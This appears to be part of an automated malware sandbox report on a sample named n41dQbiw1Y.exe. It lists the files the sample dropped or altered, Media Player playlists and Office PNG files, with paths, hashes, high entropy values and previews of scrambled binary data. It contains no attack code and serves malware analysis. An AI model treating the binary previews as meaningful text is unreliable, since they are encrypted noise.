Preview:	<?wpl}...~.(O......I_VC}..Y..L.g./.G.Kd..H.:...8......G....y@y.\|..C..........Mh.-..a3t.W...2...sK&.f.b...$.3d.6...v.s...E.....D.G.v..g.....(.TB...........Zt.._4`.R.#.,{Q.v...4.S....t.3Z.2.\|.\.ta}.6......G....UF....R.."f.s.D#.j./.i<.....'Av.g...mQ....@y...4.IH2z]-9..Z.J.Iri..Z...L..s..2..].~2.%@.'r.!P4..r.VF7.m1v.z.n.[.i-..\|$...R...K.2xB.........0.E.fn..ES<\|p.l..m..P/...8..G.hQ.@..h.,M.W.(.?+.b.F3f...C.I....G.(;.^f....A?......I.W_.".....'/@..h.5^K..0T.0.m"H.k......m..C.v..F.w........:..gY..t.9.f......V.H.[.jw>.'K....t..Fd.\.H..?uOH.^S....`..]...XT. ..d..KW.OC.-..S.!.._..F...4_a..%E...n.\....t..y\|.... W.%..t...vtG.H.....GcK.......D...m..).L...hm...7n..=o......{XI.w.A..0.<..\.9...H...W...)r..-.{=Z....C.%.ze......&..&[T...>.vZ`.Dm..7X..R.....O.T,.].6.l..z..Yt;..2..Fw......A..."-A.r1...O..?...=b....^..f~.......B..e.W+}....txf.xl"k.b.(.<u...{..Gcw.5g..M.....~h..?.....Yizt.l....,.#p......!.V...Q.....HTG..g.[.(..<.9......a\...O5^...C....

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\04_Music_played_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	7.874572384804422
Encrypted:	false
SSDEEP:	48:pccw6SqXI7MrGaA5neCss+ySBlARA/QpziWg6D:pdw6SqY7MrGaA5ngsHRxQS
MD5:	E3B0C67BCAD86B19BD1EB4FFC50A24B9
SHA1:	EFAF9A71E09C2E852B531B4D3057F1F2E093DEFC
SHA-256:	860EE39D83A69E7BE4C5DD99738E9363430108FC2EA7766068418681CA59FF64
SHA-512:	5449F7C1187164CF071F34557526AA8AA99D9EA5B12B6F9E37A8B8A371480B758C40DD01B9CCF2DC5279E21D15AA36A2E92D82A096DD5AC53C5197EA1F955005
Malicious:	false
Preview:	<?wpl..Y.G.W...$.1;..xo.n.f%.W....u.z....P..+...}.....T..%..e'... ..kj^..M$v/......P.......l.Vz.A....N)..C.r..X.).........#}.Kb.x.k..}q.e..$..^.......L..Yz....\|./.K...{V<.R6~....w7-....%.Z..%..@..&N./.G.M.6.h .Bb/....M............R.BV.C._.+..n......\y.J.I^..x{~...xs.y.&.t..).EN....C.h.#.f..x..l..`:.D....OF5..m......S..1..(.1V.b(]n....s....g..$.(..$..l.m....dTa..\.P;..F.`..."c~..XM@o....$.....v?B........&./......87.S../qq.....m.....y...x...!.7Q.2..~.v..TD(.{.#.nU.~..^w=...i..- ..$.Xk.....C.#...H.......a/`vH.E...(..Y.h......b(Do."v..E..y.<v5od..>.....%.8.7....#...s1.........<D..D.:......V.+.D...X..A..Z1.u....'.[...&.,.vc.........)..).......W..d.-...;x.i..d.....?\|....^..X.(.C...c%....V.......%...U...+e ..JK.y.3+.........Z8......1...D71.h{..\.2...f....R.q.V.h.c`v........].../S.8.."u7L.R.@.B\>[..G4&.S...T..1./O+..]v)....`}....c.)....N..I.jT..R .(....p..=.U..&XB......ilLm.a....h.Z...b..k...#k................F..cG!....vR....J..X......1...."Ct.W...w.=.

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\05_Pictures_taken_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1131
Entropy (8bit):	7.828673396986814
Encrypted:	false
SSDEEP:	24:TT1/k8RQU+POAe/eeh9Yg7fTAW7k1iI4LxscsJ0IlUt3T6NT2bD:TTFk8RB+GN/ee/YA83sxRygpD
MD5:	91A0A96BBE5436D6E0F31C13258E3F0A
SHA1:	D9382E4EEC224166114025F40D06E73AAF2B1497
SHA-256:	BD3A4BBBB231A5A94E3C87901B379989DC05B93667C6DD422910E469903288AE
SHA-512:	1414168554433D6005B211C737C3B6BD26758C12E877395F64539BC276252238E8065260620BED7396EF8112049F180A2C0AA2FE49B73E24DEDEC035CC6D9C39
Malicious:	false
Preview:	<?wpl'Z...\|D. g..."o.!y...E....V.r.B..VS$D..XF....-.........;..O&..9....D...U..Ju.{.....Q...'0........C..8....B...(....ZP..:</.i....}..7.iZ..(c.^..og....I..x..(.4..:{..wg. ....m[..c..k.K..w..S^f....].... ..N.3Z&o^...$:..r.a4:z.wXk.....z.,.YV..>......o...D..$?.V.=...A..4rtj.=.0dq.........%)..q.Z.\Mt..:\|{.HU.`c..A.Wr..\\g.Qy.R..p...v.(.K...Q.m....uGo...wA.C...;..$.....!c.%e....@+...zV.u3.\..VVj.MY.U... .Vn.5`..+3.......!...C.4H.f.c.,.:.q.e.'.H..t@`..!.l=z.=.p..+d...%..b.!...]...Q\|.....)...]N.hhBT.}.KE.p....2...P..A.s...wV.j .\|..m...7....*...8^4.t.&....C.\| .K...........?.V.~.{..^!...C.L..+CwD)Q..&...).......V`4..a...\...(q6'.f."....y.8./.\|L..[......=;.l>7=L...R.o6......SY.q.>2..Rsm.9w.....E...A.q~.t..I~..3.UT}...@.$.S..r.....)5'...K@Z.Po.p..#o0..JTT..>.m..k...B.....5Y.$../..F....6%.7a......O.xQ!...~..".. ... .DFj...t....m{...j......\V...+S\.........O..Y...\|.z.&c......!.s..s.S9...e.d)..&...V...,Ka.O&E..Hk&.Tzt...G..g..(....!E.h.5'<...

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\06_Pictures_rated_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	7.809378419147682
Encrypted:	false
SSDEEP:	24:IbRu8eOOJvjOB9ADquvNUQATBiJtPEI0RPJi9DRbD:AQ8eOOJv6LAD9F8EmIIJi9DBD
MD5:	6DEB452E4F3CEF4B06AEA47CB2C432B6
SHA1:	46C79A8253C2808F769B3DBF977B1F7F16C69495
SHA-256:	6C4B3BBF61A3DD5913C8BBF0FF3A2732D552A47420AF4E1B954C6BEE08BB0D09
SHA-512:	8ED5403431B8CB6D9C07C953F50497355571A5D0AF86F53CEECD4F32F7C8261836F0A921DA8509E6546C29403511C93AEB9E30C1CC35D96DDAFB42E81D10D4E2
Malicious:	false
Preview:	<?wpl.....t8...%&........3y.Z.....{....(. .....#k.'.......`.re.W....6#..b...]D..F.xe.=.t.d.^4..u...._..o.p..&T3u...\|..(.....`g...<w!..ol].6./.5..P..J.c`r...N..u..B5.Q. ..[.u.`.....\|.F...`m.g.G..[S.'.5.T.#.>q.....XW..jE/..e.2K...(...M...Hf...K:L{..5h......._._u..Oj]..eGJ..n(..]....".m.....c..1.....H.5C......8i.'_..J..c.1NM\|9...6w....].)....>.=..r.B?@..72..$ .p.d?.h.K.k.c.....X..6 ..t...e2.....9n....[f.....C...... .".N.Pm...B\.....P..4s...j.....\....d.2,........d7...0.....ur.k.Xs.....].6..%..4.0P.!.F1...S...Q`..<....p..Rvn........\.sk............H.9.....mS7..x8.....7{C..E...-..PZ.F.U\..._.Vn.Pr....D.H.Lg.l-........:k......tg.p.C...f2....V....(V.._.......[...\|+.N...v..q.U...dM.t....j..s...\((I..l&.e&..4.bCl&.yQ.&...#........=e........GO.u7.....WH.....3hN{y@M.a..k.N.>..Yc.M;I..#........n..0<.......]+.V$...0......L0.;4\R.H...G...<.......&=.F..-)Y......?.H...s.......v.....Vy.3.D.s\[....~....;`Kw.]..\..z. B....e..N.:#1..W".>....GS.....N

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\07_TV_recorded_in_the_last_week.wpl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1374
Entropy (8bit):	7.8609540191440015
Encrypted:	false
SSDEEP:	24:uxFa23MK8YTneIwWkZAJFiohPymfocy1cWAeHjlKO4b2rcWOGWybD:E8BYTnXMShPycVojr4CA0D
MD5:	37F263295AEDE0A9FFC2E28CCA0D615E
SHA1:	2347FB27D5E76701479C1E4F303A26D6E1BC1825
SHA-256:	625C26E503F35DA537407B888F3CD3B117024228DFDD1B1E67543AE45A469747
SHA-512:	2BB0728DCD481E04831751F3C8FB599CDA03DAC4E01ED83A3A668C5798CF8F1642B84CF5C6EC1C163C2D836C61F665797435440EE2A7BC7CC361699CDFAAE487
Malicious:	false
Preview:	<?wplEk.E...K&.#.;S]^\|9.......LD...&..?^..j........}K..@!.{~.....)O..%......jqT..".zV..[%.v&.C.3.(.........e...?[..(.<.....<O.T..x..i,E.....k.:.:=Bd......q$.O.. .......vU..gRi..B.....!.".E....t.....h.$#.'..0..;..ro.J_K.i.6...+.:.Jn'.P.4V.n..L.!<..y.....L.........7...W...T.........F.vH.e[.p%.v/..2...S......Y...8F...UQF.[Q.$..+.-N.......rI.,.(y.&9\|....L.(q%=...a]@Ik.\.......<...Ax.t....9I.\|%.vU.....)R.I!xy...C.......b.6..=........>..............kv.......D#..p..G....,...U...g2.S}.&.q..N'l.7.A.}..hg.....N.,..7.C.sY.'.4.....5..)S.!..............)..u.....&-...k.z.......~.B}./.....d.k`.Qu..9..Q..........W.'...9.r.Vm.q......g-s.b.Q.n.....K./!#....^.UDIP.v...HOU.;...^!.#B/.e'..^..Z..........q........N<..P.....w........n".....=.J....>{...\|V...b..C.C.".."C.{..G.0.BK.oM.19.6.z....u.....G.<.&....8W.IB..:}.#.!...W.$3".(6.i.l.1.3,.$..VRl-...S.7.(....V..}.......$..J.]M....lh0?.D..l...1........".Z.........WX...m........`.c.;:.<....SA$"f.,XY.&2U.N....M..K.e

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\08_Video_rated_at_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	7.853919790920315
Encrypted:	false
SSDEEP:	24:vI/fWHWLlHsmjR1QQUkP+9/JAe73MseEIMUqDyuwyr1R4co9Obze5IbD:vAfW2ZTg0milsevYUyBTocVD
MD5:	77F0E9721C627784D6934055F9519E1E
SHA1:	BEC3B6F6619DC0FB4130CE09E176A93FC5E54E48
SHA-256:	D17954B1F55555FE84D86BE311EF5B226F436AD67FD462ABEFECCB957BC4FFC5
SHA-512:	0E5660BBC518A464D2C73B5BC29C1A8B5D5086ABCB422582636D711B8E323F4D0F4151F48ECDDEBEB8391D03EF8F8E13B3B57E43AA51876120ADDAD8FFD001A9
Malicious:	false
Preview:	<?wpl.....2..WWv..p.+\|.fk....F.&DF..:.b...I............p.......R.\......N.i.>..h.`.G..,..C.B2S.C;.5$.t....P=7<.3.....V..I..uS...bZ...?YlB"..G.A..j.g.Q.........J.....M...........D@...Vpp!.[$& ..."....=d......h2W\..1e....,680._.y[mD...d..>.S.q./..k.0]..b....\|..QR..\|..Sg..sa....e?19...!.[t..+....[.\|.....1.StnQ...0D&+..O...J....Q%c..Z...v.+.@...H.I...>a..t....AG....n.._..~..a..k.....#..#.>w{,.....B..:.............7......1.b..YQ\.T4#B....y..c....=..d..f..d".aFT...o..u.......}2g_.........{~...DI.y..8/......:P...P.+M.~.S-..0W.^0.../9.M...%....N.z0...}..:....X..0..X..aE.F.vI.c.......mD..vSU..,.-[..b..^,.....0..}...ocM...ik}).+...+X..Q[f....,.........{.....f7..0lK..nY.2.\P..^+L.."w...vOxSj..J.D..(.>....q.-.>`.H.._e. A....Y..,......}...p.Y..Q..K..`.....WV./ul..qY%.........<....3?g.!q..K.9..6P....B...T./..Q.^o....g.J.........q......q,D.l$.DA.m.[...U.5k..\|)@.......l}.I....!....?...1.<5^^V.h2[T.G.....m.e.[....:w\..2g.:6X..X.N...E..[....

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\09_Music_played_the_most.wpl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1359
Entropy (8bit):	7.838952471717316
Encrypted:	false
SSDEEP:	24:y6dyC3vwJZl6k5t3yJpV5fQTZbPCJG6J7X/rYR2eXiu7WvZ6rQzr9BUpB2bD:EuvwJvXP34pD4TZTsNJ7X/89yuCArQ9z
MD5:	ED1D90FB1B71345290689DDBC6D5F29D
SHA1:	CE585322173564AF4D3FAEA5B8BE9FE71C81974A
SHA-256:	3F91CE1789D128F0A560BF69BD54A5E9AB4451A1B528608D648202C20A981B04
SHA-512:	D662151E77033379C0E17F7B33F8379B55FDA719C116737FC78FB058A5A043C5CE8AF84407643706F0BBB8D6663F9900F6FCB6DAD4BA5B52CC351F33A9AB60C0
Malicious:	false
Preview:	<?wpl\|[%.Ig.1.G .R...^.%.....B'....9EA.a.."C.=.o;..?..@.]..O....W_iv.cJ.B..i.g...K'..E@a!('\|:<...~]G....=..._...(.5....)..........1=M.#.p...?...r,....J]..21.=..p....NJ.....}ZM&..5zfX...D.]...8...h.Se.o.UB/}...\|.n...#-....\..Zg,`p.r..T....S.v......0T..1."...Q.:v..Wh#..?.rn.....J!<._.y.....Zi9.....t.[.yJ2T?rP...ol.\R;...(`nv..<.B...J..A..p.a.e...IH......../c.<w...x....[O...fA7.A.I/..ae0..+)7.. ...2>O1.f..........+c...uMKZ....O.l.N....q.`.-..X.@.]NW.M.\|j.W.S..9._..l...S;..#....j....[...z.....lv-....l5...H._.Zpj...]..?<..r...a6.....D.......aU.l~6.i~.'o.....l.....N..:..)S..4.`%....).:Pl..wjk._HM..8t...}.z..B.\|L.....5f.........R`..r.hq.....L...^.j.d......T...K..%wr..........D<.Y......._.....dz[..m7Y.#.O...,.H..\|2...`.....F.8DU..wr...........P.o.I.............oj..(.).?..2..n{..)...wP.!..._d.h8.....b~R^..kY.s..?.....4..t........S2"2..o.pz.a..F.)..e\|...._.u..S.......\..n....H...>[..(.8...,.F.o.P.\.....LLb.df....s.K.(.Y9.bd&...7.....K.....U.U.`...

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\10_All_Music.wpl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	7.853010477537221
Encrypted:	false
SSDEEP:	24:QDM7WDlYCKeugQhlVdI+NQVA3yI69cXBA40Pl4XhzIJRxKX9dtnLrIDyuibD:4DCfHlVeyStaBeygREX9LIDgD
MD5:	C668AC9618DBAAF194471C3F82B2FEAB
SHA1:	F25569FD6D50A3800D9782B6C13B751C30F89C78
SHA-256:	D1A6B73697AF2BD4B14358941915C80FF8DC002DEF52957256EEDB52E7CA6F82
SHA-512:	3BADC56D2201327D386B9F96693CC18FC5198A0B778D21FC19AFC8F8BE592398E6B6BD600B889DE19C9E25FF1CB7D03151B498364CB2F488A46FF5CB2439C6CD
Malicious:	false
Preview:	<?wplh.A1..>.x..$....a,.;...2j..asBD..Z+i.aK7.[......(K'......._..DV..$.. ..d..t......V.&....fqB..Xy#...../....y.(u...)..........i[D..m.$...7i..V@=^.EU.G..+..~)..!..P.VW.WF....Lg....Z,.u..3_.U..._....<..%..}..N~.Q...z=:.4...]......l.@<..\|F.wfMxXn~.....I..!9.m....a...T....D..N..{.Y..`.n..K....U.a..#z_........I...?."..C.1..q... j<..z..^("...Q.A..].z..c....q.1_...1.g...G6....A.......=..u.D=[..}.!......`..........[]=_\.0.....kQ..=.....l.e..\.......S....\|.(..Y._?.......u..........xJ.>t.s...0....9>.)pw2.e.K..C.._S......s.>..a.,.A>.F...e.vv2.3.0..~F.....?..>.... ..._ N!.....H.......J.!.?..$6.6h.j].%..........n.....t.!.......#...[E5.$.Z.t.rp"...0...%K..:..r.;q\..\Z..i,.....7d._....1.s...5.Adtxib.a..T.e6.R......~.hn............`sx.e.D.......q."^F...c9..,..Yq...a.r.?fyZ].K....S.JWg%..ax..2.......$.0..(.........7...s#`d....B..A*S.....v..5.z9]z..)}...].PUv(........G.Y......NTk.vh..<.;!.F.l.:k..B\oh5.M.8UTE-.V%..T.....M....g>..}w...{e...

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\11_All_Pictures.wpl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	919
Entropy (8bit):	7.776298555588129
Encrypted:	false
SSDEEP:	12:nWYhqUvziB8oPdmA87t5b8NRlU22lR/6JfM0vGGStLCaFmmm6ZiSV0uqZCycaFeA:FqlBBPcT8NRllJxEvCseucFVnbD
MD5:	DE8BFF04D912766B4CFF3D3CD2F6BEEC
SHA1:	D3E63E80F92D98D76D8A58318C79167E888494E4
SHA-256:	0E70398A12DAABC7C29AFFA027F123817DB0E5F62B88E00AA65B7A1A89472135
SHA-512:	962E26F985B39016DDD905DF11F5CA24E00DD7F48AB96B59DD78F94B84FE27AA3E655D3F0074D3823C23F9F984895FDF83D49C6A878FD05C6A86E5971041401B
Malicious:	false
Preview:	<?wplG...[4.........G.B.8.{.I+....:..[.)..@..o...[#.4...'..>.Y.w.....Es.wfe..B`...n.)s....o..).O...Q..ac.^J. .A.+Z..+O...].70N..2.^..:../....2J.....<c..V.Q.B..V.w_T......!iC,n.....vaO.6...V.....(.......,.^.......~.h.k...q...!.[.Wy..GN....y.....A.J~. P.$..t'6.J.._.........a.c.6VgG.j..4J!.2l.$.=G\|.-.....KP....z..._..&...mf.Rj..%\..e....g..;......M..7!P...&w..s....Sa).,..{W.c..7..Q.KC..t%..\i..........8...\|....F.y.-......~..s....i.{...J0..KTd..u..f;...'[...U..!K.Y........V.6..Hj..'W..6.EpV...!-q_D....YA.i....!..v_.........k.@.q........q.y.P...Y..C&.h]+....R....d...S......l\|P...;.+f....[..4e.R.y.u...2.U".SR..A..........{.....c.AI..&...q.U$.}F5,X.f.M.n.].....G..u....\|K.N.....\|.".<x8w..4.k.K.o.+........\|[..{=.y%>.M...o.....x...c.!....\;l....bINS...p...D.3cA..4m.......e.`$u.+..~xV3.cs.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\12_All_Video.wpl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1413
Entropy (8bit):	7.854975802094631
Encrypted:	false
SSDEEP:	24:fto2iNtADgQsQd5XGuqKPuYZUofF34QqcSs9A/uUla9CUPnJjKmbF7yS4R61l0KM:5WtmgQsq5xqRYmofNX79A/jg9CAsmh78
MD5:	C9840F6D98C2AC273CCE05ED33223673
SHA1:	A74ADAB7C94796180EFB1FC761AD2BAE57105FC9
SHA-256:	FF8DFCF0AE78C42C0C7A6C1AB1DEF6979CD59C7688472F833C616AEBEFF91B2F
SHA-512:	78631D996FA1A4867160924B4F7EAE62501FB114DBA597BA1BB56507DCA0B9537BF76657486045538440FD51D454FE9700435DB004DF914D028D8CDC513695AE
Malicious:	false
Preview:	<?wpl.h...)5o....MD\|..4......w....f....l...p.r..-..E..V...f.J..0.8Ho.}D.h.........a..s.......9....C...,....Yu.l.!:j~c>.y.~s. .\.P)C..X._\..e;..._X`.BOh...f..2CM..ti.Uf....B.'y.[.=.O.D^..O.8..L.d.R~...M8.......nh..#=....]...-..B.;.....e^Xz1.a.[.>.u.7.s..y... I...P`:(d....n}T:.2e.2...l.A.......8.<l.LI...b..K2.&...4\..4E...;~...d..0c..Fp.kp.....'.i..=.7.........a..R.....1zkI.3b.+.A'...?.S.w..(h.....0....j.....-!f..Y+.]\v...B..H.Qn..v.~EW....r\|.......ib.U..z...h..U...-.......q:.=j..Tg.....'..,.."x.0...-..rH6..<.. .>...[ .....S........}..mGW..v.E.....a...`....HCF..m. s.q.:R.A.h...]l..W=../A.W.:..~..O.40..{v...16G..y....Z..k..H. ....-....6.:0..a?>%.a.iy3O..$..B...].d.%.5.M..[..3...,.H...-...^u.......eA.._...B.g...4.;.tO>.n..hF0V..ts...$..vB....A.....P.Sn..Z.Oq.dl....C..I...:..L...3...kHOUO..N...E/I..Z.6...f.Pz.'.).2.../.....h.3'...........dq..PS!6.~.lf.7?Zj...:U.?...U.G.y[3B....Y.0......+.f...y<u..dY._$...QM\|.....pU.w&&......Y.,.! .A>.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{45F61A7D-A745-417E-BD88-2FFDE87A6DA8}mt16400656.png

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	7074
Entropy (8bit):	7.97755904404524
Encrypted:	false
SSDEEP:	192:Jn+NXc/e1/MtEuBRGGoWeVmh3LB7/ckTQNQFMHw1Bf:Jn+X12jBRaxVmhbBrrQNhw1Bf
MD5:	40267D85785E435062E446E84C2BE938
SHA1:	A3A5A36D4D5A07BB450C788A864F680025457A74
SHA-256:	591FDAE763B74D55D42E36986FCB7C9DD6DFB089B66DA3D3F7F25BB07E28113D
SHA-512:	25048850360E73FD69D66E8C2BB04EE33EDD7E8235D4CA485F9956B1302E51717F494C9E681636B8326E893A62CE173477C8349DBC3FD3F6F912DE338B497CC4
Malicious:	false
Preview:	.PNG.2<(.C,k.{..A......:.]g.....Q...j..yH..x[.HT..J.k...... ......8Y-.a..F...SN..Z....3.).&.....;t.ZJf..lH..O.$y{..t.&$.....$...H..........kQ.P.b.\R...L...u.`.>...g..........K.A'....Q...F....E=b.).X.... ..e...7.9.f..;n>S.YB...2.}8xU..6...`......t-s....w.$x......C1..?...!p..`....)....n.b.6.....j.......[M...eL.\..!Z!..?`;.5..yTy......dp...}.R....D../....t..0.)s"......r..Z........f..nX%.S.]A.X...K..._.V.]....r..BFgj7s..}.g.X...h...B...@of...ds..../%O.e.v."... ..B{!...(......d......}..K.BT... .........b.{.....$.....R.9.Xa.C..RkD.Q..i..c.Y.i...^!?.J6..{V...........Sb....M.....`.B1$.i.h(...d...S........4.7'....A....4z.N;......Sx?N.A........(..,.'L......OPY`...../.x..o._.6.f..g......($.={.E.~z..e.}.<..../.>..>../Rz....Q.j.Y..'l;..v$tH.../.Zl..n)..Wo..c.AN.As.9.C.R....1K....Y.R.-..x.l+\.eF.}.;E.\...$.b..\..xL.b..<.xH..$........p./..x....!v6...............9.`.maO([.\..KB.b..T.e..g..)..U.........F.....<..B.2...;.K8>^.;..f...vnz6L..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{7B3AF8A2-A95D-4447-ACC9-7895C91C2D45}mt16400647.png

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	7438
Entropy (8bit):	7.976093209139966
Encrypted:	false
SSDEEP:	192:PM3ZTMvQQO0rgs18GiOkyixGV5nLJz8JetwN:k3ZwvQM7CGIy9VxLJzptwN
MD5:	12883736340002E342310BE3A69041AF
SHA1:	0C46F4CC8A0913F731D2926381BD924E09BC680D
SHA-256:	2120DE5A9B887F6D87C1F008129E7FBA709B5B4278D5AB7F822C7927B0017281
SHA-512:	F9AF433C3E7B12B21B37B3CBEAFB709E9259AE9B7C9C6215589DB649C123B3FEDB9DB2B967F4CAFE8CE5B3B267A308BEC4A266B1B1F5E023DF89C95FCCFF2914
Malicious:	false
Preview:	.PNG...k.....Ut..caL.....?.A.......6..........,.I....u1.../.'..cD..`m...A..S3......k...}.wi.>hJ...wU.D./H......,.(.4h....\.L..4.}.r..U....i%...;9..R:^4.Tz.F.w..V>V.....c#X4K.C....)>MIX...<.o@_..,...U.<E.."....,g..'.q...M....&}......yE...,.....-.a.,[g5(....h..O.".H;.9....H...2...............y\..H..BD..1..7.J........(.xu.....S.-4P+8....XS.p.z...{%.../......DWVL.y4..$R.n...s.A..m..!..T...B%...^5._^.0E.......A.rZN..........5.7T..(.L.....#.........:...6.....t7.C.-...o.[O....4.n.h...Z.<.9.O.....T.]..u..\..x...sK........;;v.a.........ux'..\.W...S....+.K.....2.Z.U.9.2.....=...u.....P.-.78...:.S.....H...^..0...!..5.\Q..@.m...8.8..9...i.U.K...W6b.......h....E.?.F..2K.>.-.g...nC^......L...Q..'.pW...[D:^uNe<'Zs....T....@.l.n.Z.Lgf.`........k3/...B..1.gu.S.b..d..&Lm...a\|.....r..5......kR.....4..I.c7..>...v..{.#a.\.V.r..Z..4....L..>>q....p.T=j.....Mr....../.mL.dLU&.a..}QB..sg..C&.!.%.U.].o.abm.G........c.........p.......Sf.#.c".p...B..i.f..@d

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{7D2AAE1F-E21C-4042-8EAB-08D27101C10B}mt11414620.png

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	8887
Entropy (8bit):	7.979593232089309
Encrypted:	false
SSDEEP:	192:6OtxCfr/P071JE60kGKkjS1/f3SxB81T5vgmmEyb48F4q:3CjcPfGSnCL0Vdyd
MD5:	DC09DD1ED496FE273507C22918927073
SHA1:	EA44DE3EFD76B6B5259A3CE7B1C6628E75A7C08C
SHA-256:	FD0EA1B09CE8F11213A716FEE280A3EE0EFDBE8B7202D414F599A2D1925BFDC3
SHA-512:	FB9BC5AB7D68F38A24F69CB38FA12D5608A5C56E47AB398D48A61F25E91C8CB9AB801DA0EDE133A5C234582246434CC6A4D64A2138C9AD4B77E12CB2ECF791CF
Malicious:	false
Preview:	.PNG...S..Is.N..].U#7......~..o........//Zm.....8cx^VuK..n..(w..I.4Fl~.........A....T)..z.a$.>.Z.9..e(.I.........Jn....5.-..)r.S`.0.+28...g.\.6H...t.PO7CT.+....UA.. ..R#.._._0.....?'..5........jJeI.}..9\|....W..VE.c...A.'..2.E^..}B..zT...TE......DW..vr*...t..i.f..Z.Z.O....S.o..8H...\BR!,b}.Ay..(!5.<...A....+v.u..,..u9.E&.P.$?...K<.q.._8..:...=.........>..;^............K....6X.<f....Y..C..p.?..s..5.I^.-...0....re.)K...S9.>..G+....y1.9,.k...E...z..q......(Or_.#..u..M...@.P@5......&..b..V....ix..?..`...Z.O.t.o.@t.......r..0_....B.....W...6.~oE....H..H,.6".i.3....5...4...0...joW?{dK.....A..,S....v.[\1..e.n.k.6.].........{..}8(..?....,W..b...,...^.Y..x.r.\|.h.st\././.'K...\|.....:7....M..!.F.5.D......e.....&wYKu.........)_...!=Ne..%...`.F.k..(C?.........W..#o&z........L.......K.......L........._GX.f:....&Pn.+......rJR.[...k%.^.?....Xc..#i@R\|.w..hc........]....f..R...)#>.%.i.....;..W.NR....fLk.S..'..gz....X...3/......3....f].d...x........6.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{967E9DC2-54C6-4D72-9409-715F9A3F61E5}mt11829122.png

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	14457
Entropy (8bit):	7.985861078741905
Encrypted:	false
SSDEEP:	384:cs7I0CTWTqjveejNmDE3OC/mPs7D2ZB/Y7:css0C+AcDEeO1uZO
MD5:	0C13D441CE484DD40BFFDBE8EAB1EC0B
SHA1:	A64EBD55C69749A80831EA1E1A2F55B9CB103A66
SHA-256:	AC0C9C41DD43FCF0D65EAF74092316C3D5B4B7B909B542F4608287439243FE17
SHA-512:	56B069CCC658EF8817046FCE0582BDA1E9DEA0C5295549343F78E91235E6C7C1AE5969FDAAB18CC337CF3C47472116488333E94C5902F70394CF73D0F180FB91
Malicious:	false
Preview:	.PNG..S...I..p.FIp.[......V6..r...80...B...{.p......i.a..A.....&.."1.+..[.8....TH:.@C...E.X.E.lJw..G...]xD.4X."...R\\j:.Y....t'.x.i..O.v..4.a..a.[S...C....%+i}..@...{b%..i6..;M.... .M..l.L.3.........]........A?'`..#m..(.^.....cN...R.C.....{..p.._f...A..5....w04vJ^vS...0 ..'.Y..e...\|}-.....C.m74...4..Q.V...M.x.s<a\Ca5.o..4D...Fs.....m..K......F]'.F .QM...'.h...3.=!.Q....6o\q.z.a..JF..P..8-....A.;7b.m....!u.=.i..bYL......ed.dD...$7..4..8..v(.........P;wfX.%o........-Q.s......z......t).f....../.`....8..%"]...c.....o.....rI.._......+..^...%LaU...p.'.-.......J.A-...i..f...^......Yc<.1....}..k.F...h7.o...@A(..g.U.,.5Z.b.T......\...S..FX.a7B.n.d()\.^......O..r..8..h.r...t.>...+.\.....`.:.2D.,......#K.D2{...l.4L.......w.N..>6...(.....I..Y.Gk.Z..:a..bHr..m..3.7Jw..<.-.E.b=..a.^....L.NVI6..8..s]....+..7E.4......$R'p....1...7...-.j8."EmI(E...~...LT.u+.r0..+]B..I.D."un..k(.J,.G....4.L.."..Y..bD.;f[...m\|..=..x..J...l.....;FCE.K8.Y....$.].@..]].B....#E).....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{A4858C46-92BF-4775-ADF9-F93EB4C5F636}mt66963475.png

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	7986
Entropy (8bit):	7.978035644602263
Encrypted:	false
